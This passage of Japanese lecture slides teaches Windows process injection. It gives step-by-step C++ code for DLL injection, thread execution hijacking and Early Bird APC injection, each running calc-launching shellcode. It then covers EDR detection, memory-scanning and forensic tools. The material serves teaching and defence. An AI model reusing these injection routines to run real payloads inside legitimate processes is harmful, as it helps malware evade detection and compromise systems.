ステップ3: 確保したバッファにDLLのパスを書き込む WriteProcessMemory(hProcess, lpBuffer, argv[2], pathSize, NULL); DLL Injection ● メモリアドレス(lpBuffer)にDLLのパスを書き込む ○ コマンドライン引数の2番⽬(argv[2])で渡したDLLのパスが格納されている ○ DLLのパス: C:\Users\asp\Documents\ProcessInjection\EvilDll.dll ● 補⾜: 各引数の概要(抜粋) ○ hProcess: 対象プロセスのハンドル ○ lpBuffer: DLLのパスを書き込む為に確保したバッファのアドレス ○ argv[2]: DLLのパス(のアドレス)

Slide 73

Slide 73 text

ステップ4: DLLをロードするためのLoadLibraryA関数 のアドレスを取得 hKernel32 = GetModuleHandleA("kernel32.dll"); pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); DLL Injection ● GetModuleHandleA 
 ○ (既に読み込み済みの)指定されたモジュール名(DLL)のモジュールハン ドルを取得 (ここではkernel32.dll を指定)
 ● GetProcAddress 
 ○ モジュール(DLL)内の指定の関数のアドレスを取得
 ○ kernel32.dllが持つLoadLibraryA関数のアドレスを取得 


Slide 74

Slide 74 text

ステップ5: 対象プロセスに新規にスレッドを作成する CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, lpBuffer, 0, nullptr); DLL Injection ● 指定のプロセス(hProcess)で新たなスレッドを作成する ○ スレッドの開始点となる関数としてLoadLibraryAを指定 ○ LoadLibraryAの引数として、DLLのパスも渡す ● スレッド作成と同時にEvilDLL.dllが対象プロセスにロードされる ○ 結果としてMessageBoxが表⽰される ■ (再掲)EvilDLL.dllはロード時MessageBox関数を呼び出す実装の為

Slide 75

Slide 75 text

Thread Execution Hijacking 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる 03_threadexecutionhijack.cpp 正規プロセス: SnippingTool.exe  (PID: 26100) 悪意のあるプロセス: 03_threadexecutionhijack.exe 03_threadexecutionhijack.exe (今回は26100)を実⾏すると、 正規のプロセス上で、電卓を起動するシェルコードが実⾏される 電卓

Slide 76

Slide 76 text

Thread Execution Hijackingのコード [1/3] // [1] 正規プロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); // [2] シェルコードを書き込む為のバッファ(メモリ)を、正規プロセス側に確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // [3] 確保したバッファにシェルコードを書き込む WriteProcessMemory(hProcess,lpBuffer, shellcode, sizeof(shellcode), NULL); 03_threadexecutionhajack.cpp 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる

Slide 77

Slide 77 text

Thread Execution Hijackingのコード [2/3] // [4] 対象プロセスのスレッドを探しそのハンドルを取得する。GetFirstThreadは⾃作関数(後述) hThread = GetFirstThread(dwPid); // [5] 対象スレッドをサスペンド状態(停⽌状態)にする  SuspendThread(hThread); // [6] (対象スレッドの)スレッドコンテキストを取得して、次に実⾏する命令位置を改竄 CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (ULONGLONG)lpBuffer; SetThreadContext(hThread, &ctx)); // [7] 対象スレッドのサスペンド状態を解除する(スレッドを再開する) ResumeThread(hThread); 03_threadexecutionhajack.cpp 実⾏中の正規プロセスのスレッドの実⾏位置を 改竄して(任意のコードを指すように改竄)、任意のコードを実⾏させる

Slide 78

Slide 78 text

Thread Execution Hijackingのコード [3/3] 03_threadexecutionhajack.cpp HANDLE GetFirstThread(const DWORD dwTargetPid) HANDLE hThread = NULL; THREADENTRY32 threadEntry{}; threadEntry.dwSize = sizeof(THREADENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (!Thread32First(hSnapshot, &threadEntry)){ [中略] } do { if (threadEntry.th32OwnerProcessID == dwTargetPid){ hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, threadEntry.th32ThreadID); if (hThread != NULL){ break; } } } while (Thread32Next(hSnapshot, &threadEntry)); CloseHandle(hSnapshot); return hThread; } GetFirstThread関数の中⾝ 対象プロセスのスレッドを探してそのハンドルを取得している

Slide 79

Slide 79 text

名前 説明 OpenProcess 指定したプロセスIDに対するプロセスハンドルを取得 VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域の予約と コミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む CreateToolhelp32Snapshot (指定したプロセス、またはすべてのプロセスの)スナップショット と、これらのプロセスで使⽤されるヒープ、モジュール、スレッ ドを受け取る Thread32First (スナップショットの)最初のスレッドの情報を取得 Thread32Next (スナップショットの)次のスレッドの情報を取得 OpenThread 指定したスレッドIDに対するスレッドハンドルを取得 SuspendThread 指定したスレッドを中断 (中断カウントをインクリメントする) GetThreadContext 指定したスレッドのスレッドコンテキストを取得 SetThreadContext 指定したスレッドのスレッドコンテキストを設定 ResumeThread スレッドの中断カウントを⼀つ減らす(0でスレッド再開) Thread Execution Hijackで利⽤する主要API

Slide 80

Slide 80 text

演習その3 03_threadinjectionhijack.cpp もしくは前スライドの 抜粋版ThreadInjectionHijackのコードを読んでみましょう

Slide 81

Slide 81 text

Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 対象のプロセスのハンドルを取得 Step 2: シェルコードを書き込むためのバッファを対象プロセス側に確保 Step 1 Step 2 プロセス A (悪) プロセス B (正) OpenProcess() プロセス A (悪) VirtualAllocEx() プロセス B (正)

Slide 82

Slide 82 text

Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 確保したバッファにシェルコードを書き込む Step 2: 対象プロセスのスレッドを探しそのハンドルを取得する Step 3 Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) CreateToolhelp32Snapshot() プロセス B (正) Shellcode Shellcode Thread 発見! Thread32First()/Thread32Next() OpenThread()

Slide 83

Slide 83 text

Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 対象スレッドをサスペンド状態(停⽌状態)にする Step 2: スレッドコンテキストを取得して、次に実⾏する命令位置を改竄 Step 5 Step 6 プロセス A (悪) プロセス B (正) SuspendThread() プロセス A (悪) GetThreadContext() プロセス B (正) Shellcode Thread 停⽌ 停⽌ Thread SetThreadContext() Shellcode   次に実⾏すべき位置をシェルコードの先頭に書き換える!

Slide 84

Slide 84 text

Thread Execution Hijackの流れを図解(全7ステップ) Step 1: 対象スレッドのサスペンド状態を解除する (スレッドを再開) Step 7 プロセス A (悪) プロセス B (正) ResumeThread() Shellcode Thread 再開 電卓 シェルコードが実⾏され、電卓が起動する!

Slide 85

Slide 85 text

Thread Execution Hijack ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE, dwPid); ● dwPidに⼊ったプロセスIDのプロセスのハンドルを取得 ○ プロセスIDはコマンドライン引数で指定したものがdwPidに ● 対象プロセスに対して、以下の権限を取得 ○ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ○ PROCESS_VM_OPERATION -> メモリの操作権限 ○ PROCESS_CREATE_THREAD -> スレッドを作成する権限

Slide 86

Slide 86 text

Thread Execution Hijack lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode),   MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); ステップ2: シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 ● 対象のプロセス(hProcess)にシェルコードサイズ分のメモリを確保 ○ 確保したバッファのアドレスはlpBufferという変数に格納 ○ シェルコードサイズはsizeof(shellcode)で計算 ● メモリの状態 ○ MEM_RESERVE | MEM_COMMIT ->メモリを確保 ● メモリのアクセス保護属性 ○ PAGE_EXECUTE_READWRITE -> 読み書き実⾏

Slide 87

Slide 87 text

Thread Execution Hijack ステップ3: 確保したバッファにシェルコードを書き込む    WriteProcessMemory(hProcess, lpBuffer, shellcode,   sizeof(shellcode), NULL); ● 確保したバッファ(lpBuffer)にshellcodeを書き込む ○ 電卓(calc.exe)を起動するシェルコードを利⽤ ○ msfvenomを利⽤して⽣成 ● 補⾜: 各引数の意味 ○ hProcess: 対象プロセスのハンドル ○ lpBuffer: シェルコードの為に確保したバッファのアドレス ○ shellcode: シェルコードのアドレス

Slide 88

Slide 88 text

Thread Execution Hijack ステップ4: 対象プロセスのスレッドを探してそのハンドルを取得  hThread = GetFirstThread(dwPid); ● GetFirstThread関数は⾃作関数 ○ 対象プロセスのスレッドを探してハンドルを取得している ● GetFirstThread関数のの中⾝ ○ CreateToolhelp32Snapshot ■ 全スレッドの情報を取得 ○ Thread32First/Thread32Next ■ スレッドを⼀個ずつ列挙して、対象プロセスに紐づくスレッドを⾒つける ○ OpenThread ■ 対象スレッド(発⾒されたスレッド)のハンドルを取得

Slide 89

Slide 89 text

Thread Execution Hijack ステップ5: 対象スレッドをサスペンド状態(停⽌状態)にする  SuspendThread(hThread); ● どうしてスレッドをサスペンド状態にするのか? ○ 次のステップで実⾏するGetThreadContext関数は、サスペンド状態 のスレッドに対してで無ければ実⾏出来ないため

Slide 90

Slide 90 text

Thread Execution Hijack ステップ6: (対象プロセスの)スレッドコンテキストを取得し て次に実⾏する命令位置の改竄 CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (ULONGLONG)lpBuffer; SetThreadContext(hThread, &ctx); ● GetThreadContext ○ 対象スレッドのスレッドコンテキストを取得しCONTEXT構造体に格納 ○ CONTEXT構造体のContextFlagsメンバに⼊れたフラグに基づき、どの値を取 得するか等が決まる ■ RIPレジスタの値を取得したい為、CONTEXT_CONTROLを設定 ● ctx.Rip = (ULONGLONG)lpBuffer ○ ripレジスタの値を、シェルコードのアドレスにする RIPには次実⾏すべきアドレスが格納されている

Slide 91

Slide 91 text

Thread Execution Hijack ステップ7: 対象スレッドのサスペンド状態を解除する (スレッドを再開する)  ResumeThread(hThread); ● 再開後実⾏されるアドレス(RIP)はシェルコードの先頭を指している ○ シェルコードの先頭からスレッドの実⾏が再開される ○ 結果として電卓が起動する 電卓

Slide 92

Slide 92 text

APC Injection (EarlyBird)のコード APCキューを利⽤してメインスレッド実⾏前に任意のコードを挿⼊する 04_apcinjection.cpp 悪意のあるプロセス: 04_apcinjection.exe 電卓 04_apcinjection.exe <新規に⽴ち上げるプロセス> (今回はnotepad.exe)を実⾏すると、そのプロセスのメインスレッド 実⾏前に、電卓を起動するシェルコードを挿⼊して実⾏させる

Slide 93

Slide 93 text

APC Injection (EarlyBird)のコード APCキューを利⽤してメインスレッド実⾏前に任意のコードを挿⼊する BYTE shellcode[] ="(省略)"; STARTUPINFOA si{}; PROCESS_INFORMATION pi{}; //[1] 新規に正規のプロセスを作成する。その際メインスレッドをサスペンド状態で作成する。 CreateProcessA(nullptr, argv[1], nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)); //[2] シェルコードを書き込むためのバッファ(メモリ)を正規プロセス側に確保する lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //[3] 確保したバッファにシェルコードを書き込む WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL); //[4] サスペンド状態のスレッドのAPCキューにシェルコードのアドレスを⼊れる PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); //[5] 対象スレッドのサスペンド状態を解除する(スレッドを再開する) ResumeThread(pi.hThread); 04_apcinjection.cpp 主要なコードはたったこれだけ!

Slide 94

Slide 94 text

APCとは何か 
 ● APC: Asynchronous Procedure Calls ○ ⽇本語では「⾮同期プロシージャ呼び出し」 ○ 特定のスレッドのコンテキストで、⾮同期に呼び出される関数 ● ⾮同期処理とは何か? ○ あるタスク(プログラム)が上から順次実⾏している最中に、その処理を ⽌めることなく別のタスク(プログラム)を実⾏出来るという⽅式 ○ 特定のタスクの終了を待つことなく、別のタスクを実⾏できる ● (再掲)各スレッドに個別に独⾃のAPCキューがある

Slide 95

Slide 95 text

APCキューとは何か 
 ● APCキューに格納した関数が実⾏される条件 ○ スレッドがアラート可能な待機状態になった時 ■ SleepEx関数とか ○ スレッドの実⾏を開始する前に APC(関数) をキューに⼊れた場 合は、スレッドは APC 関数を呼び出すことによって開始される ■ EarlyBirdではこの性質を利⽤ ⾮同期で呼び出したい関数のキュー(関数の待ち⾏列) 関数1 APCキュー (のイメージ ) 関数2 関数3 空き 空き キューの先頭の関数から実⾏される 先頭 (補足:APCにも様々な種類があるが、ここでは通常のユーザモードの APCについて話している )

Slide 96

Slide 96 text

名前 説明 CreateProcessA 新しいプロセスと、そのメインスレッドを作成する VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域 の予約とコミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む QueueUserAPC 指定したスレッドの APC キューにユーザモードAPC(⾮同 期プロシージャ 呼び出し)オブジェクト(関数)を追加 ResumeThread スレッドの中断カウントを⼀つ減らす(0でスレッド再開) APC Injection (Early Bird) で利⽤する主要API

Slide 97

Slide 97 text

演習その4 04_apcinjection.cpp もしくは前スライドの 抜粋版APCInjectionのコードを読んでみましょう

Slide 98

Slide 98 text

APC Injection (Early Bird)の流れを図解(全5ステップ) Step 1: 新規に正規のプロセスを⽣成する Step 2: シェルコード書き込むためのバッファを対象プロセス側に確保 Step 1 Step 2 プロセス A (悪) プロセス B (正) CreateProcessA() プロセス A (悪) VirtualAllocEx() プロセス B (正) その際メインスレッドをサスペンド状態で作成する Thread 停⽌ Thread 停⽌

Slide 99

Slide 99 text

APC Injection (Early Bird)の流れを図解(全5ステップ) Step 1: 確保したバッファにシェルコードを書き込む        サスペンド状態のスレッドのAPCキューにシェルコードのアドレスを⼊れる Step 3 Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) QueueUserAPC() プロセス B (正) Shellcode 停⽌ Thread Shellcode Thread

Slide 100

Slide 100 text

APC Injection (Early Bird)の流れを図解(全5ステップ) Step 1: 対象スレッドのサスペンド状態を解除する(スレッドを再開する) Step 5 プロセス A (悪) プロセス B (正) ResumeThread() Shellcode Thread 再開 シェルコードが実⾏され、電卓が起動する! 電卓

Slide 101

Slide 101 text

ステップ1: 新規に正規のプロセスを⽣成する STARTUPINFOA si{}; PROCESS_INFORMATION pi{}; CreateProcessA(nullptr, argv[1], nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)); APC Injection (EarlyBird) ● CreateProcessAで新規プロセスを作成する ○ 今回はnotepad.exeを指定(1番⽬のコマンドライン引数で指定) ○ 新規プロセスのメインスレッドをサスペンド状態で⽴ち上げ ● CREATE_SUSPENDEDフラグで指定 ● 補⾜: 利⽤している構造体 ○ STARTUPINFOA: 新規作成プロセスの情報(ウィンドウ情報等)を格納する構造体 ○ PROCESS_INFORMATION: 新規作成プロセスの情報(PID/ハンドル)とそのメイン スレッドの情報(TID/ハンドル)の情報を格納する構造体

Slide 102

Slide 102 text

lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); APC Injection (EarlyBird) ステップ2: シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 ● 新規作成プロセス(pi.hProcess)にシェルコードサイズ分のメモリを確保 ○ 確保したバッファのアドレスはlpBufferという変数に格納 ○ シェルコードサイズはsizeof(shellcode)で計算 ● メモリの状態 ○ MEM_RESERVE | MEM_COMMIT ->メモリを確保 ● メモリのアクセス保護属性 ○ PAGE_EXECUTE_READWRITE -> 読み書き実⾏

Slide 103

Slide 103 text

WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL); APC Injection (EarlyBird) ステップ3: 確保したバッファにシェルコードを書き込む ● 確保したバッファ(lpBuffer)にshellcodeを書き込む ○ 電卓(calc.exe)を起動するシェルコードを利⽤ ○ msfvenomを利⽤して⽣成 ● 補⾜: 各引数の意味 ○ pi.hProcess: 対象プロセスのハンドル ○ lpBuffer: シェルコードの為に確保したバッファのアドレス ○ shellcode: シェルコードのアドレス

Slide 104

Slide 104 text

ステップ4: サスペンド状態のスレッドのAPCキューに シェルコードのアドレスを⼊れる PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); APC Injection (EarlyBird) ● シェルコードを格納したアドレスを関数のアドレスとして扱うよう変換する ○ apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; ● QueueUserAPCを利⽤してシェルコードをスレッドのAPCキューに⼊れる APCキュー (のイメージ ) 関数1 (シェルコード) 空き 空き 空き 空き 先頭

Slide 105

Slide 105 text

ステップ5: 対象スレッドのサスペンド状態を解除する ResumeThread(pi.hThread); APC Injection (EarlyBird) 電卓 ● 最初にAPCキューの先頭から関数を取り出して実⾏する ○ 結果的にシェルコードが実⾏され、電卓が⽴ち上がる (再掲) スレッドの実⾏を開始する前に APC(関数) をキューに⼊れた 場合は、スレッドは APC 関数を呼び出すことによって開始される

Slide 106

Slide 106 text

その他著名な Process Injection手法 ● Reflective DLL Injection ● APC Injection ● Early Bird APC Injection ● Atom Bombing ● Process Hollowing ● Process Doppelgänging ● Process Herpaderping ● Process Ghosting 講義では基礎的な⼿法を取り上げたが、他にも⼿法はごまんとある

Slide 107

Slide 107 text

発展的内容 : PPL Bypass ● PPLDump ○ https://github.com/itm4n/PPLdump ○ PPLで保護されたプロセスのメモリをダンプするツール (現在は対策済み) ● PPLFault ○ https://github.com/gabriellandau/PPLFault ○ PPLで保護されたプロセスがDLLを読み込み‧実⾏前に(署名チェックが 済んだ後に)わざとページフォルトを引き起こし※、別のDLLを読み込ま せる(TOCTOUの脆弱性) 保護されたプロセス(Protected Process Light)のバイパスツール ※仮想メモリが物理メモリにマッピングされていない状態でアクセスしてしまった時に発⽣する割り込み処理

Slide 108

Slide 108 text

Process Injection 101 検知‧痕跡の⾒つけ⽅ ● EDRでの検知⽅法の⼀例 ● 痕跡の⾒つけ⽅の⼀例

Slide 109

Slide 109 text

EDRでの検知方法の一例 [1/4] エンドポイントセキュリティ (EDRとは?) ● AV: Antivirus Software ○ 事前対策 (感染前検知が⽬的) ○ シグネチャ(パターン)ベースのマルウェア検知 (従来型) ○ 機械学習/AIを使った次世代型アンチウィルスソフト(NGAV)が最近の主流 ● EDR: Endpoint Detection and Response ○ 事後対策 (感染後‧侵⼊後の検知と対応が⽬的) ○ コンピュータにインストールされた、センサーと呼ばれるプログラムなどから収集した 情報(テレメトリ)から、挙動(振る舞い)ベースで感染‧侵⼊を検知 ○ 去年のニュースから世界的にEDRの導⼊が進んでいることが分かる ■ ⽇本でも⼤⼿企業で導⼊が進んできている ざっくり説明

Slide 110

Slide 110 text

EDRでの検知方法の一例 [2/4] エンドポイントセキュリティ (EDRとは?) 画像出典元: Matt Hand, Evading EDR, 3p, Figure 1-1 EDRはレーダーのようなもの? ● テレメトリ(データ) = 点 ○ プロセス作成 ○ ファイル書き込み ○ ネットワーク接続 ○ 怪しいAPIの呼び出し ● 収集した情報を基に怪しいか怪しく無いか判断

Slide 111

Slide 111 text

EDRでの検知方法の一例 [3/4] Elastic DefendではどのようにProcess Injectionを検知しているのか ⼀例を紹介 ● よく使われるAPIを監視 (Event Tracing for Windowsベース) ○ VirtualAlloc系/VirtualProtect系/WriteProcessMemory/MapViewOfFile系 /SuspendThread/ResumeThread/SetThreadContext/QueueUserAPC等様々 ○ APIの呼び出し順や引数などをチェックして怪しい呼び出しでは無いかをチェック ● OSレベル(ドライバ側)でプロセス⽣成/スレッド⽣成/DLL読み込みを監視 ● プロセスやDLLのメモリをスキャン/チェック ○ メモリ上に展開された不正なコードをシグネチャ等で検知 ○ 不審なアクセス保護属性や種類を持つ仮想アドレス領域が無いかをチェック 多層的に防御して取りこぼしを防ぐ&検知回避を難しくさせることに注⼒

Slide 112

Slide 112 text

EDRでの検知方法の一例 [4/4] 検知ルールはGithubに公開しており誰でも閲覧可能 Process Injection (T1055) に関する検知ルールだけでも141個も存在する! https://github.com/elastic/protections-artifacts/tree/main/behavior ※https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_injection_via_powershell.toml 検知ルール名: Shellcode Injection via Powershell※

Slide 113

Slide 113 text

痕跡の見つけ方の一例 (ライブメモリスキャン ) ● Process Injection等の特有の痕跡を中⼼に調査するメモリスキャンツール ○ Get-InjectedThreadEx ■ https://github.com/jdu2600/Get-InjectedThreadEx ○ PE-sieve (+ Hollows Hunter) ■ https://github.com/hasherezade/pe-sieve ■ https://github.com/hasherezade/hollows_hunter ○ Moneta ■ https://github.com/forrest-orr/moneta ● メモリ上にある不審なデータ‧コードをシグネチャ等で検知 ○ YAMA(JPCERT/CC作成ツール) ■ https://github.com/JPCERTCC/YAMA ■ https://blogs.jpcert.or.jp/ja/2023/08/yama.html ■ https://github.com/JPCERTCC/jpcert-yara プロセスメモリを直接スキャン等して痕跡を発⾒する

Slide 114

Slide 114 text

Get-InjectedThreadEx Process Injection等の過程で作成された 不審な可能性の⾼いスレッドを発⾒するツール ● not MEM_IMAGE (補⾜: Win32StartAddress が属する仮想アドレス領域がMEM_IMAGEではない場合) ● MEM_IMAGE and Win32StartAddress is on a private (modified) page ● MEM_IMAGE and x64 dll and Win32StartAddress is CFG violation or suppressed export ● MEM_IMAGE and Win32StartAddress is in a suspicious module (補⾜: 例えばLoadLibraryAとか) ● MEM_IMAGE and x64 and Win32StartAddress is unexpected prolog ● MEM_IMAGE and Win32StartAddress is preceded by unexpected bytes ● MEM_IMAGE and x64 and Win32StartAddress wraps non-MEM_IMAGE start address 以下のいずれかの条件に該当する時に不審なスレッド候補として検出する※ ※https://github.com/jdu2600/Get-InjectedThreadEx/blob/main/Get-InjectedThreadEx.cppから抜粋 主に新規スレッド作成の際に指定されたスレッド開始アドレス(Win32StartAddress)と その周辺のコード内容や、仮想アドレス領域の属性をチェック

Slide 115

Slide 115 text

実⾏⽅法 Shellcode Injectionで シェルコードが実⾏されたスレッドを検知 DLL Injectionの過程で 作成されたスレッドを検知

Slide 116

Slide 116 text

痕跡の見つけ方の一例 (その他) ● メモリダンプ解析(メモリフォレンジック)を⽤いた痕跡発⾒ ○ Volatility 3 ( https://github.com/volatilityfoundation/volatility3 ) ■ Process Injectionをはじめとするマルウェアの痕跡を発⾒するプラグインが充実(以下例) ● malfind - プロセスメモリ内の不審なメモリ領域の検出に利⽤ ● ldrmodules - プロセスのロードモジュール(DLL⼀覧)から不審なDLLの検出に利⽤ ● hollowfind - Process Hollowingの痕跡の検出に利⽤ ● イベントログに着⽬した痕跡発⾒ ○ Sysmon (https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon ) ■ 有効になっていた場合に限るが例えば以下を記録 ● Event 8 - CreateRemoteThreadを記録 ● Event 25 - Process Tamperingを記録 (Process Hollowingなどの⾼度なプロセスイ ンジェクション検知)

Slide 117

Slide 117 text

● 書籍 ○ 『インサイドWindows 第7版 上下巻』 ■ Andrea Allievi, Mark E. Russinovich, Alex Ionescu, David A. Solomon (著) ○ 『Windowsカーネルドライバプログラミング』 ■ Pavel Yosifovich (著) ○ 『APIで学ぶWindows徹底理解』 ■ 安室 浩和 (著), ⽇経ソフトウエア編集部 (著) ■ (注)2004年出版のため、古い記述もあるが分かりやすい ○ 『Windowsセキュリティインターナル』 ■ James Forshaw(著)、北原 憲 (訳) ● オンライントレーニングコース ○ Pluralsight: Windows Internalsシリーズ ■ Pavel Yosifovich (著) (https://www.pluralsight.com/authors/pavel-yosifovich) ■ Windows11 Internalsのトレーニングもある さらなる学習の為の参考文献   Windows周り

Slide 118

Slide 118 text

● 書籍 ○ 『はじめて読む486―32ビットコンピュータをやさしく語る』 ■ 蒲地 輝尚(著) ■ (注)1994年出版。古い所もあるかもしれないが(対象は32bitだし)、名著として名⾼い ○ 『プロセッサを⽀える技術』 ■ Hisa Ando (著) ○ 『デバッガによるx86プログラム解析⼊⾨【x64対応版】』 ■ Digital Travesia管理⼈ うさぴょん (著) ○ 『プログラマーのためのコンピュータ⼊⾨』 ■ Lepton (著) さらなる学習の為の参考文献 コンピュータアーキテクチャ/ 低レイヤ周り

Slide 119

Slide 119 text

● 書籍 ○ 『マルウェアの教科書』 ■ 吉川 孝志 (著) ■ 2023年8⽉には増補改訂版も出版 ○ 『Practical Malware Analysis』 ■ Michael Sikorski (著), Andrew Honig (著) ■ 2012年出版で主にx86(32bit)対象だが、名著 ○ 『アナライジング‧マルウェア』 ■ 新井 悠 (著), 岩村 誠 (著), 川古⾕ 裕平 (著), ⻘⽊ ⼀史 (著), 星澤 裕⼆ (著) ○ 『Evading EDR』 ■ Matt Hand(著) ○ 『実践 メモリフォレンジック』 ■ Svetlana Ostrovskaya(著)、Oleg Skulkin(著)、⽯川 朝久(技術監修)、⼩林 稔(技術監修)、北原 憲(訳) さらなる学習の為の参考文献  マルウェアや攻撃コードなど

Slide 120

Slide 120 text

● オンライントレーニングコース ○ Maldev Academy ■ https://maldevacademy.com/ さらなる学習の為の参考文献  マルウェアや攻撃コードなど

Slide 121

Slide 121 text

Thank you.